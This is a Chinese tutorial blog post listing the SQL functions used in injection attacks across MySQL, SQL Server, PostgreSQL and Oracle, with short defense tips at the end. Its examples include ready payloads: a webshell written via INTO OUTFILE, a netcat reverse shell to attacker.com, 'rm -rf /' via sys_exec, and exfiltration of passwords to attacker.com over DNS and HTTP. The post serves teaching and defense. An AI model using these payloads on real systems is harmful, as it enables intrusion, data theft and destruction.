SQL注入漏洞中会使用到的函数

目录

一、信息获取函数

1. 通用函数

2. 元数据查询(INFORMATION_SCHEMA)

二、字符串操作函数

1. 字符串连接

2. 字符串截取

3. 编码/解码

三、报错注入专用函数

1. MySQL

2. SQL Server

3. PostgreSQL

四、时间盲注函数

1. 通用延迟

2. 计算密集型延迟

五、文件操作函数

1. 文件读取

2. 文件写入

六、系统命令执行函数

1. SQL Server

2. PostgreSQL

3. MySQL(需特殊条件)

七、带外通信(OOB)函数

1. DNS外传数据

2. HTTP请求

八、高级聚合函数

1. 数据聚合

九、JSON/XML操作函数

1. MySQL

2. SQL Server

十、防御规避函数

1. 编码混淆

2. 动态执行

总结与防御建议


以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:


一、信息获取函数

1. 通用函数
  • DATABASE() 作用:获取当前数据库名称。 示例UNION SELECT DATABASE()

  • USER() / CURRENT_USER() 作用:获取当前数据库用户。

  • VERSION() / @@VERSION 作用:获取数据库版本信息。

2. 元数据查询(INFORMATION_SCHEMA
  • TABLES MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() SQL ServerSELECT name FROM sysobjects WHERE xtype='U'

  • COLUMNS OracleSELECT column_name FROM all_tab_columns WHERE table_name='USERS'


二、字符串操作函数

1. 字符串连接
  • CONCAT(str1, str2) 示例CONCAT('user=', USER())

  • ||(Oracle/PostgreSQL) 示例' UNION SELECT 'user: ' || USER() --

2. 字符串截取
  • SUBSTRING(str, start, length) 示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

  • SUBSTR()(Oracle/PostgreSQL)

  • LEFT(str, length) / RIGHT(str, length)

3. 编码/解码
  • HEX() / UNHEX() 用途:绕过WAF过滤,如SELECT HEX('admin')61646D696E

  • CHAR(ASCII_CODE) 示例CHAR(97)a


三、报错注入专用函数

1. MySQL
  • UPDATEXML() 语法UPDATEXML(XML_doc, XPath, new_value) 示例AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)

  • EXTRACTVALUE() 语法EXTRACTVALUE(XML_doc, XPath) 示例AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))

2. SQL Server
  • CONVERT() 触发类型转换错误CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))

  • ERROR_MESSAGE() 配合TRY-CATCHBEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH

3. PostgreSQL
  • CAST() 示例CAST((SELECT CURRENT_USER) AS INTEGER)


四、时间盲注函数

1. 通用延迟
  • SLEEP(seconds)(MySQL) 示例IF(1=1, SLEEP(5), 0)

  • PG_SLEEP(seconds)(PostgreSQL)

  • WAITFOR DELAY '0:0:5'(SQL Server)

2. 计算密集型延迟
  • BENCHMARK(count, expr)(MySQL) 示例BENCHMARK(1000000, MD5('test'))


五、文件操作函数

1. 文件读取
  • LOAD_FILE()(MySQL) 权限需求FILE权限,且secure_file_priv未限制路径 示例UNION SELECT LOAD_FILE('/etc/passwd')

  • pg_read_file()(PostgreSQL) 示例SELECT pg_read_file('/etc/passwd')

2. 文件写入
  • INTO OUTFILE / INTO DUMPFILE(MySQL) 示例SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

  • COPY(PostgreSQL) 示例COPY (SELECT 'malicious code') TO '/var/www/shell.php'


六、系统命令执行函数

1. SQL Server
  • xp_cmdshell 示例EXEC xp_cmdshell 'whoami' 防御:需禁用xp_cmdshell组件。

2. PostgreSQL
  • COPY FROM PROGRAM 示例COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'

3. MySQL(需特殊条件)
  • sys_exec()(UDF提权后) 示例SELECT sys_exec('rm -rf /')


七、带外通信(OOB)函数

1. DNS外传数据
  • LOAD_FILE()(MySQL) 示例LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))

  • UTL_HTTP.REQUEST()(Oracle) 示例SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL

2. HTTP请求
  • HTTPURITYPE(Oracle) 示例SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL


八、高级聚合函数

1. 数据聚合
  • GROUP_CONCAT()(MySQL) 示例GROUP_CONCAT(table_name SEPARATOR ',') 用于一次性获取所有表名。

  • STRING_AGG()(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。


九、JSON/XML操作函数

1. MySQL
  • JSON_EXTRACT() 绕过技巧SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))

2. SQL Server
  • OPENJSON() 示例SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))


十、防御规避函数

1. 编码混淆
  • TO_BASE64() / FROM_BASE64()(MySQL 5.6+) 示例SELECT FROM_BASE64('YWRtaW4=')admin

  • ASCII() / ORD() 用途:盲注中逐字符转换ASCII值。

2. 动态执行
  • EXEC()(SQL Server) 示例EXEC('SELECT * FROM users')

  • PREPARE / EXECUTE(MySQL) 示例SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;


总结与防御建议

  1. 禁用高危函数:如xp_cmdshellFILE权限等。

  2. 输入过滤:严格校验参数类型,过滤UNIONSLEEP等关键词。

  3. 最小权限原则:数据库账户仅授予必要权限。

  4. 监控异常查询:如频繁出现INFORMATION_SCHEMA访问或LOAD_FILE()调用。

示例攻击链

' UNION SELECT 
  NULL, 
  CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), 
  LOAD_FILE('/etc/passwd') 
-- 

掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

浩策

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值